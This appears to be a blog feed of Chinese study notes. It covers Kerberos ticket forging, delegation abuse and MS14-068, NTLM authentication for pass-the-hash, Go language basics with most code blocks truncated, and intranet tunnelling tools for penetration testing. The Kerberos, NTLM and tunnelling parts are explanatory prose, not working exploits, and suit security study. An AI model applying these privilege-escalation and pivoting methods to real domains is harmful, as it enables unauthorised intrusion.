,就可以伪造TGT
和Logon Session Key
来进入下一步Client
与TGS
的交互。
有了金票后,就可以跳过AS
验证,直接同KDC
交互,不用验证账户和密码,所以也不用担心域管密码被修改。
Kerbreos
除了第一步AS_ERQ
是使用 时间戳 加密用户hash
验证之外,其他的步骤的验证都是通过票据
,这个票据可以是TGT(Ticket Granting Ticket)
或者TGS票据(Server Ticket/Ticket)
。因为票据里面的内容主要是session_key
和ticket(使用服务hash加密的,服务包括krbtgt)
,拿到票据之后,我们就可以用这个票据来作为下阶段的验证了。
因为
TGS_REP
里面ticket
里的enc_part(是ticket里面的enc_part,不是最外层的enc_part,最外层的enc_part是使用AS_REP里面的session_key加密的,这个session_key我们已经有了,没有意义)
,是使用要请求的服务的hash
加密的,所以我们可以通过爆破获得服务的hash
。
这个问题存在的另外一个因素是因为用户向KDC
发起TGS_REQ
请求,不管用户对服务有没有访问权限,只要TGT
正确,那么肯定会返回TGS
。
其实AS_REQ
里面的服务就是krbtgt
,也就是说这个同样用于爆破AS_REP
里面的ticket
部分的encpart
得到krbtgt的hash
,但网上没出现这种攻击方式是因为krbtgt
的密码是随机生成的,我们也跑不出来.
Client
向Server
发送服务请求,通过伪造的Ticket
,只能访问指定的服务,如cifs、http、mssql等
,由服务账号NTLM Hash
加密。
1 | 1、域名称 |
在Kerberos
认证中的第⑤-⑥步,Client
带着Ticket
和Authenticator3
向Server
上的某个服务进行请求,Server
接收到Client
的请求之后,通过自己的Master Key
解密Ticket
,从而获得Session Key
。通过Session Key
解密Authenticator3
,进而验证对方的身份,验证成功就允许Client
访问Server
上的指定服务了。
所以我们只需要知道Server
用户的Hash
就可以伪造出一个Ticket
,且不会经过KDC
,但是伪造的Ticket
只对部分服务起作用(已经在TGT
的PAC
里,通过SID
的值限定了给Client
授权的服务)。
如果我们找到配置了 非约束的委派的账户,比如
JACKSON-PC$
,并且通过一定手段拿下该账户的权限,然后诱导域管访问该JACKSON-PC$
,这个时候域管会将自己TGT
发送到JACKSON-PC$
并缓存到LSASS
中,那我们就可以从LSASS
中导出域管的TGT票据
,然后通过PTT
,从而拥有域管的权限。
如果我们找到配置了 约束委派的服务账号,比如
JACKSON-PC$
,并且通过一定手段拿下该账号所在的机子。我们就可以利用这个服务账号代表任意用户 (重点:服务代表用户获得针对服务自身的kerberos票据
这个过程,服务不需要用户凭据) 进行s4u2self
获得一个可转发的票据
,然后把获取到的票据
用于s4u2proxy(作为AddtionTicket)
,从而获取一个可转发的TGS
,服务就可以代替任意用户访问另外一个服务(既被配置的约束委派的服务:cifs/WIN-JQO4OSMOGK2.JMU.com
)。
相较于非约束的委派,约束的委派并不需要用户过来访问就可以代表该用户,但是只能访问特定的服务,不像非约束的委派哪个可以访问任意服务。
1 | 对于 HOST SPN,可以实现完全的远程接管。 |
基于资源的约束委派具有传统的约束委派的所有安全问题,但是相较于传统的约束委派。基于资源的约束委派的利用又相对较为简单。
主要体现为,普通的约束委派的配置需要SeEnableDelegation权限,而这个权限通常仅授予Domain Admins
。因此我们对普通的约束委派的利用,往往在于寻找域内已有的约束委派,再利用。
但是对于基于资源的约束委派,假如我们已经拥有服务账号1,那么只要具备用户2的LDAP权限,这样就可以配置服务1对服务2的约束委派(在服务账户2的用户属性上配置S-AllowedToActOnBehalfOfOtherIdentity
为1
的sid
),服务1就可以控制服务2。
补丁编号是KB3011780,域里面最严重的漏洞之一,它允许任意用户提升到域管权限。
该漏洞最本质的地方在于Microsoft Windows Kerberos KDC
无法正确检查Kerberos票证
请求随附的特权属性证书(PAC)
中的有效签名,这里面的签名就是上面提到的服务检验和
和KDC校验和
。导致用户可以自己构造一张PAC
。 签名原本的设计是要用到HMAC
系列的checksum
算法,也就是必须要有key
的参与,我们没有krbtgt的hash
以及服务的hash
,就没有办法生成有效的签名,但是问题就出在,实现的时候允许所有的checksum
算法都可以,包括MD5
。那我们只需要把PAC
进行md5
,就生成新的校验和。这也就意味着我们可以随意更改PAC
的内容,完了之后再用md5
给他生成一个服务检验和
以及KDC校验和
。在MS14-068
修补程序之后,Microsoft
添加了一个附加的验证步骤,以确保校验和类型为KRB_CHECKSUM_HMAC_MD5
。
https://daiker.gitbook.io/windows-protocol/kerberos/3#0x03-xiang-guan-an-quan-wen-ti
https://daiker.gitbook.io/windows-protocol/kerberos
https://payloads.online/archivers/2018-11-30/1/
]]>Windows认证机制剖析:本地,工作组,域环境。
在本地登录Windows的情况下,操作系统会使用用户输入的密码作为凭证去与系统中的密码进行验证,操作系统中的密码存储在
1 | %SystemRoot%\system32\config\sam |
登录系统的时候,系统会自动地读取SAM文件中的“密码”与我们输入的“密码”进行比对,如果相同,证明认证成功!
这个SAM文件中保留了计算机本地所有用户的凭证信息,可以理解为是一个数据库。
※注意:Windows本身不保存明文密码,只保留密码的Hash。
NTLM Hash的前身是LM Hash,由于存在安全缺陷已经被淘汰,无需做过多的了解,知道有这个东西即可
假设我的密码是admin,那么操作系统会将admin转换为十六进制,经过Unicode转换后,再调用MD4加密算法加密,这个加密结果的十六进制就是NTLM Hash。
1 | admin -> hex(16进制编码) = 61646d696e |
1 | winlogon.exe -> 接收用户输入 -> lsass.exe -> (认证) |
工作组环境和域环境下Net NTLM认证过程因为有DC(域控制器)的参与流程略有差异,不过不影响我们进行哈希传递攻击,这里分开讲一下。
这个协议只支持Windows
NTLM是一种网络认证协议,全称是:NT LAN Manager
,它是基于挑战(Challenge)/响应(Response)认证机制的一种认证模式。
NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议,消息的传输依赖于使用NTLM的上层协议,比如SMB
,LDAP
,HTTP
等。
协商:主要用于确认双方协议版本,NTLM存在V1和V2两个版本,具体区别就是加密方式不同,这个一般不用管。
质询:就是挑战(Challenge)/响应(Response)认证机制起作用的范畴,也是认证机制的核心。
验证:验证主要是在质询完成后验证结果,是认证的最后一步。
Client
向Server
发送用户信息(用户名)请求。Server
收到用户信息后判断该本地账户列表是否存在(不存在就返回认证失败),存在则生成一个16位的随机数(Challenge
), 然后使用登录用户名对应的NTLM Hash
加密Challenge
(16位随机字符), 生成一个Challenge1
(Net-NTLM Hash
)存在内存中。同时,将Challenge
(16位随机字符)发送给Client
。Client
接受到服务器发送的Challenge
后,使用将要登录到账户对应的NTLM Hash
加密Challenge
生成Response
(Net-NTLM Hash
),然后将Response
发送至Server
。这里引入了Net NTLM Hash:经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)。
详细介绍:https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#0x03-net-ntlm-hash
Server
收到Client
发送的Response
(Net-NTLM Hash
)后,与之前保存在内存中的Challenge1
(Net-NTLM Hash
)比较,如果相等则认证通过。
现在再来看一下这个认证过程,是不是清晰了很多
域环境下Net NTLM认证过程因为有DC(域控制器)的参与工作组下的流程略有差异。
①用户登录客户端电脑。
②Client
向Server
发送协商消息,它主要包含客户端支持和服务器请求的功能列表。
③Server
用质询消息(Challenge)进行响应,这包含服务器支持和同意的功能列表。但是最重要的是,它包含Server
产生的Challenge。
④Client
用身份验证消息(Response)回复质询。用户接收到步骤③中的Challenge之后,使用用户hash与challenge进行加密运算得到Response,将response
,username
,challeng
发给Server
。消息中的response
(Net-NTLM Hash)是最关键的部分,因为它们向服务器证明客户端用户已经知道帐户密码。
⑤Server
拿到身份验证消息(Response)后,使用challenge和用户hash进行加密得到response2与步骤③发来的response进行比较。
这时候,如果认证用户hash是存储在域控里面的话,那么本地没有认证用户hash,也就没办法计算response2,所以也就没法验证完成步骤⑤。所以Server
就会通过netlogon协议
联系域控,建立一个安全通道,然后将 协商消息,质询消息(Challenge),身份验证消息(Response) 全部发给域控(这个过程也叫作Pass Through Authentication
认证流程)。
⑥域控使用challenge和认证用户的hash进行加密得到response2,与type 3的response进行比较,判断是否一致。
⑦完成认证过程。
https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#0x02-ntlm-shen-fen-yan-zheng
]]>参考(Ctrl c+v) https://www.kancloud.cn/kancloud/the-way-to-go/
当个学习笔记,只记录重点。
Go 语言开发团队开发了适用于以下操作系统的编译器:
目前有2个版本的编译器:Go 原生编译器 gc 和非原生编译器 gccgo,这两款编译器都是在类 Unix 系统下工作 。其中,gc 版本的编译器已经被移植到 Windows 平台上,并集成在主要发行版中,你也可以通过安装 MinGW 从而在 Windows 平台下使用 gcc 编译器。这两个编译器都是以单通道的形式工作。
你可以获取以下平台上的 Go 1.4 源码和二进制文件:
$HOME/go
,当然,你也可以安装在别的地方。$GOROOT/bin
,如果你使用的是 Go 1.0.3 及以后的版本,一般情况下你可以将它的值设置为空,Go 将会使用前面提到的默认值。/bin
:包含可执行文件,如:编译器,Go 工具/doc
:包含示例程序,代码工具,本地文档等/lib
:包含文档模版/misc
:包含与支持 Go 编辑器有关的配置文件以及 cgo 的示例/os_arch
:包含标准库的包的对象文件(.a
)/src
:包含源代码构建脚本和标准库的包的完整源代码(Go 是一门开源语言)/src/cmd
:包含 Go 和 C 的编译器和命令行脚本print
/println
和 fmt.Print
/fmt.Println
/fmt.Printf
)。fmt.Printf
中使用下面的说明符来打印有关变量的相关信息:%+v
打印包括字段在内的实例的完整信息%#v
打印包括字段和限定类型名称在内的实例的完整信息%T
打印某个类型的完整说明在大多数 IDE 中,每次构建程序之前都会自动调用源码格式化工具 gofmt
并保存格式化后的源文件。如果构建成功则不会输出任何信息,而当发生编译时错误时,则会指明源码中具体第几行出现了什么错误,如:a declared and not used
。一般情况下,你可以双击 IDE 中的错误信息直接跳转到发生错误的那一行。
如果程序执行一切顺利并成功退出后,将会在控制台输出 Program exited with code 0
。
从 Go 1 版本开始,使用 Go 自带的更加方便的工具来构建应用程序:
go build
编译并安装自身包和依赖包go install
安装自身包和依赖包1 | package main |
包是结构化代码的一种方式:每个程序都由包(通常简称为 pkg)的概念组成,可以使用自身的包或者从其它包中导入内容。
package main
表示一个可独立执行的程序,每个 Go 应用程序都包含一个名为 main
的包。
所有的包名都应该使用小写字母。
//
单行注释
/* xxxx */
多行注释
你可以在括号 ()
中写入 0 个或多个函数的参数(使用逗号 ,
分隔),每个参数的名称后面必须紧跟着该参数的类型。
1 | func Sum(a, b int) int { return a + b } |
基本类型:int
、float
、bool
、string
结构化的(复合的):struct
、array
、slice
、map
、channel
结构化的类型没有真正的值,它使用nil
作为默认值
类型 B 的值 = 类型 B(类型 A 的值)
1 | valueOfTypeB = typeB(valueOfTypeA) |
1 | const beef, two, c = “meat”, 2, “veg” |
声明变量时将变量的 类型 放在变量的 名称之后
1 | var identifier type |
变量的 命名规则 遵循骆驼命名法,即首个单词小写,每个新单词的首字母大写,例如:numShips
和 startDate
一个变量(常量、类型或函数)在程序中都有一定的作用范围,称之为作用域。
如果一个变量在函数体外声明,则被认为是全局变量,可以在整个包、外部包(被导出后)使用,不管你声明在哪个源文件里或在哪个源文件里调用该变量。
在函数体内声明的变量称之为局部变量,它们的作用域只在函数体内,参数和返回值变量也是局部变量。
函数 fmt.Print
和 fmt.Println
会自动使用格式化标识符 %v
对字符串进行格式化,两者都会在每个参数之间自动增加空格,而后者还会在字符串的最后加上一个换行符。例如:
1 | fmt.Print("Hello:", 23) |
变量除了可以在全局声明中初始化,也可以在 init 函数中初始化。
不能够被人为调用,而是在每个包完成初始化后自动执行,并且执行优先级比 main 函数高。
一个源文件都可以包含且只包含一个 init 函数。初始化总是以单线程执行,并且按照包的依赖关系顺序执行。
init.go
1 | package trans |
user_init.go 中导入了包 trans(在相同的路径中)并且使用到了变量 Pi
1 | package main |
布尔类型 bool:布尔型的值只可以是常量 true 或者 false
数字类型:整型 int 和浮点型 float
格式化说明符:格式化字符串里,%d
用于格式化整数(%x
和 %X
用于格式化 16 进制表示的数字),%g
用于格式化浮点型(%f
输出浮点数,%e
输出科学计数表示法),%0d
用于规定输出定长的整数,其中开头的数字 0 是必须的。
数字值转换:进行a32bitInt = int32(a32Float)
的转换时,小数点后的数字将被丢弃。
复数:Go 拥有以下复数类型:
1 | complex64 (32 位实数和虚数) |
位运算:
一元运算符:按位补足 ^
,位左移 <<
,位右移 >>
二元运算符:按位与 &
,按位或 |
,按位异或 ^
,位清除 &^
逻辑运算符:==
, !=
, <
, <=
, >
, >=
算术运算符:常见可用于整数和浮点数的二元运算符有 +
、-
、*
和 /
。
运算符与优先级:
有些运算符拥有较高的优先级,二元运算符的运算方向均是从左至右。下表列出了所有运算符以及它们的优先级,由上至下代表优先级由高到低:
1 | 优先级 运算符 |
当然,你可以通过使用括号来临时提升某个表达式的整体运算优先级。
类型别名:
1 | type TZ int |
字符类型:char.go
1 | var ch int = '\u0041' |
string
类型的零值为长度为零的字符串,即空字符串 ""
。
一般的比较运算符(==
、!=
、<
、<=
、>=
、>
)通过在内存中按字节比较来实现字符串的对比。你可以通过函数len()
来获取字符串所占的字节长度,例如:len(str)
。
字符串拼接符 +
:两个字符串 s1
和 s2
可以通过 s := s1 + s2
、s += "world"
拼接在一起。
解释字符串:
该类字符串使用双引号括起来,其中的相关的转义字符将被替换,这些转义字符包括:
\n
:换行符\r
:回车符\t
:tab 键\u
或 \U
:Unicode 字符\\
:反斜杠自身非解释字符串:
该类字符串使用反引号括起来,支持换行,例如:
1 | `This is a raw string \n` 中的 `\n\` 会被原样输出。 |
1 | package main |
程序在内存中存储它的值,每个内存块(或字)有一个地址,通常用十六进制数表示,如:0x6b0820
或0xf84001d7f0
。
一个指针变量可以指向任何一个值的内存地址 它指向那个值的内存地址,在 32 位机器上占用 4 个字节,在 64 位机器上占用 8 个字节,并且与它所指向的值的大小无关。
Go 语言的取地址符是 &
,放到一个变量前使用就会返回相应变量的内存地址。
指针类型前面加上*
号(前缀)来获取指针所指向的内容,这里的 * 号是一个类型更改器。使用一个指针引用一个值被称为间接引用。
当一个指针被定义后没有分配到任何变量时,它的值为 nil
。
一个指针变量通常缩写为 ptr
。
例:展示了分配一个新的值给 *p 并且更改这个变量自己的值(这里是一个字符串)
1 | package main |
1 | if condition1 { |
1 | switch { |
1 | package main |
它可以迭代任何一个集合(包括数组和 map),一般形式为:for ix, val := range coll { }
。
val
始终为集合中对应索引的值拷贝,因此它一般只具有只读性质,对它所做的任何修改都不会影响到集合中原有的值(译者注:如果 val
为指针,则会产生指针的拷贝,依旧可以修改集合中的原值)
1 | for pos, char := range str { |
break
的作用范围为该语句出现后的最内部的结构,它可以被用于任何形式的 for 循环(计数器、条件判断等)。但在 switch 或 select 语句中,break 语句的作用结果是跳过整个代码块,执行后续的代码。
continue
忽略剩余的循环体而直接进入下一次循环的过程,但不是无条件执行下一次循环,执行之前依旧需要满足循环的判断条件。
for
、switch
或 select
语句都可以配合标签(label)形式的标识符使用,即某一行第一个以冒号(:
)结尾的单词(gofmt 会将后续代码自动移至下一行)。
1 | LABEL1: |
1 | package main |
getX2AndX3
与 getX2AndX3_2
两个函数演示了如何使用非命名返回值与命名返回值的特性。当需要返回多个非命名返回值时,需要使用 ()
把它们括起来,比如 (int, int)
。
1 | package main |
空白符用来匹配一些不需要的值,然后丢弃掉。ThreeValues
是拥有三个返回值的不需要任何参数的函数,在下面的例子中,我们将第一个与第三个返回值赋给了 i1
与f1
。第二个返回值赋给了空白符 _
,然后自动丢弃掉。
1 | package main |
传递指针给函数不但可以节省内存(因为没有复制变量的值),而且赋予了函数直接修改外部变量的能力,所以被修改的变量不再需要使用 return
返回。如下的例子,reply
是一个指向 int
变量的指针,通过这个指针,我们在函数内修改了这个 int
变量的数值。
1 | package main |
如果函数的最后一个参数是采用 ...type
的形式,那么这个函数就可以处理一个变长的参数,这个长度可以为 0,这样的函数称为变参函数。
示例函数和调用:
1 | func Greeting(prefix string, who ...string) |
在 Greeting 函数中,变量 who
的值为 []string{"Joe", "Anna", "Eileen"}
。
如果参数被存储在一个数组 arr
中,则可以通过 arr...
的形式来传递参数调用变参函数。
1 | package main |
https://www.kancloud.cn/kancloud/the-way-to-go/72476
关键字 defer 允许我们推迟到函数返回之前(或任意位置执行 return
语句之后)一刻才执行某个语句或函数(为什么要在返回之后才执行这些语句?因为 return
语句同样可以包含一些操作,而不是单纯地返回某个值)。
关键字 defer 的用法类似于面向对象编程语言 Java 和 C# 的 finally
语句块,它一般用于释放某些已分配的资源。
当有多个 defer 行为被注册时,它们会以逆序执行(类似栈,即后进先出)
可以使用 defer 语句实现代码追踪
名称 | 说明 |
---|---|
close | 用于管道通信 |
len、cap | len 用于返回某个类型的长度或数量(字符串、数组、切片、map 和管道);cap 是容量的意思,用于返回某个类型的最大容量(只能用于切片和 map) |
new、make | new 和 make 均是用于分配内存:new 用于值类型和用户定义的类型,如自定义结构,make 用户内置引用类型(切片、map 和管道)。它们的用法就像是函数,但是将类型作为参数:new(type)、make(type)。new(T) 分配类型 T 的零值并返回其地址,也就是指向类型 T 的指针(详见第 10.1 节)。它也可以被用于基本类型:v := new(int) 。make(T) 返回类型 T 的初始化之后的值,因此它比 new 进行更多的工作(详见第 7.2.3/4 节、第 8.1.1 节和第 14.2.1 节)new() 是一个函数,不要忘记它的括号 |
copy、append | 用于复制和连接切片 |
panic、recover | 两者均用于错误处理机制 |
print、println | 底层打印函数(详见第 4.2 节),在部署环境中建议使用 fmt 包 |
complex、real imag | 用于创建和操作复数(详见第 4.5.2.2 节 |
当一个函数在其函数体内调用自身,则称之为递归。最经典的例子便是计算斐波那契数列,即每个数均为前两个数之和。数列如下所示:
1 | 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765, 10946, … |
1 | package main |
函数可以作为其它函数的参数进行传递,然后在其它函数内调用执行,一般称之为回调 callback
。
1 | package main |
当我们不希望给函数起名字的时候,可以使用匿名函数,例如:func(x, y int) int { return x + y }
。
这样的一个函数不能够独立存在(编译器会返回错误:non-declaration statement outside function body
),但可以被赋值于某个变量,即保存函数的地址到变量中:fplus := func(x, y int) int { return x + y }
,然后通过变量名对函数进行调用:fplus(3,4)
。
当然,您也可以直接对匿名函数进行调用:func(x, y int) int { return x + y } (3, 4)
。
https://www.kancloud.cn/kancloud/the-way-to-go/72481
1 | package main |
能够准确地知道哪个文件中的具体哪个函数正在执行,对于调试是十分有帮助的。您可以使用 runtime
或 log
包中的特殊函数来实现这样的功能。包runtime
中的函数 Caller()
提供了相应的信息,因此可以在需要的时候实现一个 where()
闭包函数来打印函数执行的位置:
1 | where := func() { |
您也可以设置 log
包中的 flag 参数来实现:
1 | log.SetFlags(log.Llongfile) |
或使用一个更加简短版本的 where
函数:
1 | var where = log.Print |
在计算开始之前设置一个起始时候,再由计算结束时的结束时间,最后取出它们的差值,就是这个计算所消耗的时间。想要实现这样的做法,可以使用 time
包中的 Now()
和 Sub
函数:
1 | start := time.Now() |
进行大量的计算时,提升性能最直接有效的一种方式就是避免重复计算。通过在内存中缓存和重复利用相同计算的结果,称之为内存缓存。最明显的例子就是生成斐波那契数列的程序
1 | package main |
数组元素可以通过 索引(位置)来读取(或者修改),索引从 0 开始,第一个元素索引为 0,第二个索引为 1,以此类推。(数组以 0 开始在所有类 C 语言中是相似的)。元素的数目,也称为长度或者数组大小必须是固定的并且在声明该数组时就给出(编译时需要知道数组长度以便分配内存);数组长度最大为 2Gb。
声明的格式是:
1 | var identifier [len]type |
优点 因为切片是引用,所以它们不需要使用额外的内存并且比使用数组更有效率,所以在 Go 代码中 切片比数组更常用。
声明切片的格式是: var identifier []type
(不需要说明长度)。
一个切片在未初始化之前默认为 nil,长度为 0。
切片的初始化格式是:var slice1 []type = arr1[start:end]
这表示 slice1 是由数组 arr1 从 start 索引到 end-1
索引之间的元素构成的子集(切分数组,start:end 被称为 slice 表达式)。所以 slice1[0]
就等于 arr1[start]
。
这种构建方法可以应用与数组和切片:
1 | for ix, value := range slice1 { |
假设我们有如下数组:items := [...]int{10, 20, 30, 40, 50}
1 | for _, item := range items { |
切片可以反复扩展直到占据整个相关数组。
示例 7.11 reslicing.go
1 | package main |
如果想增加切片的容量,我们必须创建一个新的更大的切片并把原分片的内容都拷贝过来。下面的代码描述了从拷贝切片的 copy 函数和向切片追加新元素的 append 函数。
1 | package main |
7.6.2 获取字符串的某一部分
7.6.3 字符串和切片的内存结构
7.6.4 修改字符串中的某个字符
7.6.5 字节数组对比函数
Compare
函数会返回两个字节数组字典顺序的整数对比结果
7.6.6 搜索及排序切片和数组
sort
包来实现常见的搜索和排序操作。
7.6.7 append 函数常见操作
我们在第 7.5 节提到的 append 非常有用,它能够用于各种方面的操作:
将切片 b 的元素追加到切片 a 之后:a = append(a, b...)
复制切片 a 的元素到新的切片 b 上:
1 | b = make([]T, len(a)) |
删除位于索引 i 的元素:a = append(a[:i], a[i+1:]...)
切除切片 a 中从索引 i 至 j 位置的元素:a = append(a[:i], a[j:]...)
为切片 a 扩展 j 个元素长度:a = append(a, make([]T, j)...)
在索引 i 的位置插入元素 x:a = append(a[:i], append([]T{x}, a[i:]...)...)
在索引 i 的位置插入长度为 j 的新切片:a = append(a[:i], append(make([]T, j), a[i:]...)...)
在索引 i 的位置插入切片 b 的所有元素:a = append(a[:i], append(b, a[i:]...)...)
取出位于切片 a 最末尾的元素 x:x, a = a[len(a)-1], a[:len(a)-1]
将元素 x 追加到切片 a:a = append(a, x)
7.6.8 切片和垃圾回收
map 是一种特殊的数据结构:一种元素对(pair)的无序集合,pair 的一个元素是 key,对应的另一个元素是 value,所以这个结构也称为关联数组或字典。这是一种快速寻找值的理想结构:给定 key,对应的 value 可以迅速定位。
map 这种数据结构在其他编程语言中也称为字典(Python)、hash 和 HashTable 等。
map 是引用类型,可以使用如下声明:
1 | var map1 map[keytype]valuetype |
1 | package main |
如果你只是想判断某个 key 是否存在而不关心它对应的值到底是多少,你可以这么做:
1 | _, ok := map1[key1] // 如果key1存在则ok == true,否在ok为false |
或者和 if 混合使用:
1 | if _, ok := map1[key1]; ok { |
可以使用 for 循环构造 map:
1 | for key, value := range map1 { |
第一个返回值 key 是 map 中的 key 值,第二个返回值则是该 key 对应的 value 值;这两个都是仅 for 循环内部可见的局部变量。其中第一个返回值key值是一个可选元素。如果你只关心值,可以这么使用:
1 | for _, value := range map1 { |
如果只想获取 key,你可以这么使用:
1 | for key := range map1 { |
假设我们想获取一个 map 类型的切片,我们必须使用两次 make()
函数,第一次分配切片,第二次分配 切片中每个 map 元素
1 | package main |
输出结果:
1 | Version A: Value of items: [map[1:2] map[1:2] map[1:2] map[1:2] map[1:2]] |
需要注意的是,应当像 A 版本那样通过索引使用切片的 map 元素。在 B 版本中获得的项只是 map 值的一个拷贝而已,所以真正的 map 元素没有得到初始化。
map 默认是无序的,不管是按照 key 还是按照 value 默认都不排序
如果你想为 map 排序,需要将 key(或者 value)拷贝到一个切片,再对切片排序(使用 sort 包,详见第 7.6.6 节),然后可以使用切片的 for-range 方法打印出所有的 key 和 value。
这里倒置是指调换 key 和 value。如果 map 的值类型可以作为 key 且所有的 value 是唯一的,那么通过下面的方法可以简单的做到键值对调。
1 | package main |
像 fmt
、os
等这样具有常用功能的内置包在 Go 语言中有 150 个以上,它们被称为标准库,大部分(一些底层的除外)内置于 Go 本身。完整列表可以在 Go Walker 查看。
unsafe
: 包含了一些打破 Go 语言“类型安全”的命令,一般的程序中不会被使用,可用在 C/C++ 程序的调用中。
syscall
-os
-os/exec
:
os
: 提供给我们一个平台无关性的操作系统功能接口,采用类Unix设计,隐藏了不同操作系统间差异,让不同的文件系统和操作系统对象表现一致。
os/exec
: 提供我们运行外部操作系统命令和程序的方式。
syscall
: 底层的外部包,提供了操作系统底层调用的基本接口。
archive/tar
和 /zip-compress
:压缩(解压缩)文件功能。
fmt
-io
-bufio
-path/filepath
-flag
:
fmt
: 提供了格式化输入输出功能。io
: 提供了基本输入输出功能,大多数是围绕系统功能的封装。bufio
: 缓冲输入输出功能的封装。path/filepath
: 用来操作在当前系统中的目标文件名路径。flag
: 对命令行参数的操作。strings
-strconv
-unicode
-regexp
-bytes
:
strings
: 提供对字符串的操作。strconv
: 提供将字符串转换为基础类型的功能。unicode
: 为 unicode 型的字符串提供特殊的功能。regexp
: 正则表达式功能。bytes
: 提供对字符型分片的操作。index/suffixarray
: 子字符串快速查询。math
-math/cmath
-math/big
-math/rand
-sort
:
math
: 基本的数学函数。math/cmath
: 对复数的操作。math/rand
: 伪随机数生成。sort
: 为数组排序和自定义集合。math/big
: 大数的实现和计算。container
-/list-ring-heap
: 实现对集合的操作。
list
: 双链表。time
-log
:
time
: 日期和时间的基本操作。log
: 记录程序运行时产生的日志,我们将在后面的章节使用它。encoding/json
-encoding/xml
-text/template
:
encoding/json
: 读取并解码和写入并编码 JSON 数据。encoding/xml
:简单的 XML1.0 解析器,有关 JSON 和 XML 的实例请查阅第 12.9/10 章节。text/template
:生成像 HTML 一样的数据与文本混合的数据驱动模板(参见第 15.7 节)。net
-net/http
-html
:(参见第 15 章)
net
: 网络数据的基本操作。http
: 提供了一个可扩展的 HTTP 服务器和基础客户端,解析 HTTP 请求和回复。html
: HTML5 解析器。runtime
: Go 程序运行时的交互操作,例如垃圾回收和协程创建。
reflect
: 实现通过程序运行时反射,让程序操作任意类型的变量。
下面的程序里,我们将在字符串中对正则表达式进行匹配。
如果是简单模式,使用 Match
方法便可:
1 | ok, _ := regexp.Match(pat, []byte(searchIn)) |
变量 ok 将返回 true 或者 false,我们也可以使用 MatchString
:
1 | ok, _ := regexp.MathString(pat, searchIn) |
更多方法中,必须先将正则通过 Compile
方法返回一个 Regexp 对象。然后我们将掌握一些匹配,查找,替换相关的功能。
示例 9.2 pattern.go:
1 | package main |
结构体定义的一般方式如下:
1 | type identifier struct { |
type T struct {a, b int}
也是合法的语法,它更适用于简单的结构体。
https://www.kancloud.cn/kancloud/the-way-to-go/72512
Go 语言不支持面向对象编程语言中那样的构造子方法,但是可以很容易的在 Go 中实现 “构造子工厂“ 方法。为了方便通常会为类型定义一个工厂,按惯例,工厂的名字以 new 或 New 开头。假设定义了如下的 File 结构体类型:
1 | type File struct { |
下面是这个结构体类型对应的工厂方法,它返回一个指向结构体实例的指针:
1 | func NewFile(fd int, name string) *File { |
然后这样调用它:
1 | f := NewFile(10, "./test.txt") |
在 Go 语言中常常像上面这样在工厂方法里使用初始化来简便的实现构造子。
如果 File
是一个结构体类型,那么表达式 new(File)
和 &File{}
是等价的。
这可以和大多数面向对象编程语言中笨拙的初始化方式做个比较:File f = new File(...)
。
我们可以说是工厂实例化了类型的一个对象,就像在基于类的OO语言中那样。
如果想知道结构体类型T的一个实例占用了多少内存,可以使用:size := unsafe.Sizeof(T{})
。
下面的例子中,main.go 使用了一个结构体,它来自 struct_pack 下的包 structPack。
示例 10.5 structPack.go:
1 | package structPack |
示例 10.6 main.go:
1 | package main |
结构体中的字段除了有名字和类型外,还可以有一个可选的标签(tag):它是一个附属于字段的字符串,可以是文档或其他的重要标记。标签的内容不可以在一般的编程中使用,只有包 reflect
能获取它。我们将在下一章(第 11.10 节)中深入的探讨 reflect
包,它可以在运行时自省类型、属性和方法,比如:在一个变量上调用 reflect.TypeOf()
可以获取变量的正确类型,如果变量是一个结构体类型,就可以通过 Field 来索引结构体的字段,然后就可以使用 Tag 属性。
示例 10.7 struct_tag.go:
1 | package main |
结构体可以包含一个或多个 匿名(或内嵌)字段,即这些字段没有显式的名字,只有字段的类型是必须的,此时类型也就是字段的名字。匿名字段本身可以是一个结构体类型,即 结构体可以包含内嵌结构体。
可以粗略地将这个和面向对象语言中的继承概念相比较,随后将会看到它被用来模拟类似继承的行为。Go 语言中的继承是通过内嵌或组合来实现的,所以可以说,在 Go 语言中,相比较于继承,组合更受青睐。
1 | package main |
通过类型 outer.int
的名字来获取存储在匿名字段中的数据,于是可以得出一个结论:在一个结构体中对于每一种数据类型只能有一个匿名字段。
同样地结构体也是一种数据类型,所以它也可以作为一个匿名字段来使用,如同上面例子中那样。外层结构体通过outer.in1
直接进入内层结构体的字段,内嵌结构体甚至可以来自其他包。内层结构体被简单的插入或者内嵌进外层结构体。这个简单的“继承”机制提供了一种方式,使得可以从另外一个或一些类型继承部分或全部实现。
1 | package main |
内网传输通道的建立。
1 | ping : icmp |
内网渗透网络环境复杂且工具繁多,有时还要考虑免杀,理解了原理找到适合自己的即可,本文也不会过多写工具的使用,有空更新下使用命令~
正向代理,意思是一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端,客户端才能使用正向代理。
注意:不需要公网的vps
1.目标主机拥有公网IP。
常用工具:
https://github.com/EddieIvan01/iox
http://rootkiter.com/EarthWorm/
2.目标主机存在WEB服务且不通外网,支持动态脚本PHP、ASPX、JSP。
常用工具:
https://github.com/L-codes/Neo-reGeorg
https://github.com/FunnyWolf/pystinger
https://github.com/blackarrowsec/pivotnacci
反向代理服务器位于用户与目标服务器之间,但是对于用户而言,反向代理服务器就相当于目标服务器,即用户直接访问反向代理服务器就可以获得目标服务器的资源。
注意:需要公网的vps
目标主机通外网即可。
常用工具:
https://github.com/vzex/dog-tunnel
https://github.com/EddieIvan01/iox
https://github.com/fatedier/frp/
https://github.com/ehang-io/nps
http://rootkiter.com/EarthWorm/
内网渗透中,会遇到隔离网络,更多时候是逻辑上的隔离,突破的办法就是拿到route可达的跳板机 (多张网卡、运维机等)的权限,建立一层二级代理、三级代理…
注意:随机应变
常用工具:
http://rootkiter.com/EarthWorm/
https://github.com/ginuerzh/gost
https://github.com/Dliv3/Venom
还有一些windows【netsh】和linux【ssh】的自带程序的端口转发、icmp协议的流量转发没有写,不过一般也用不到,暂时先写这么多。
]]>CVE-2020-1472
https://www.anquanke.com/post/id/219374
文中提到一种办法,适用于其他办法无法恢复
的情况
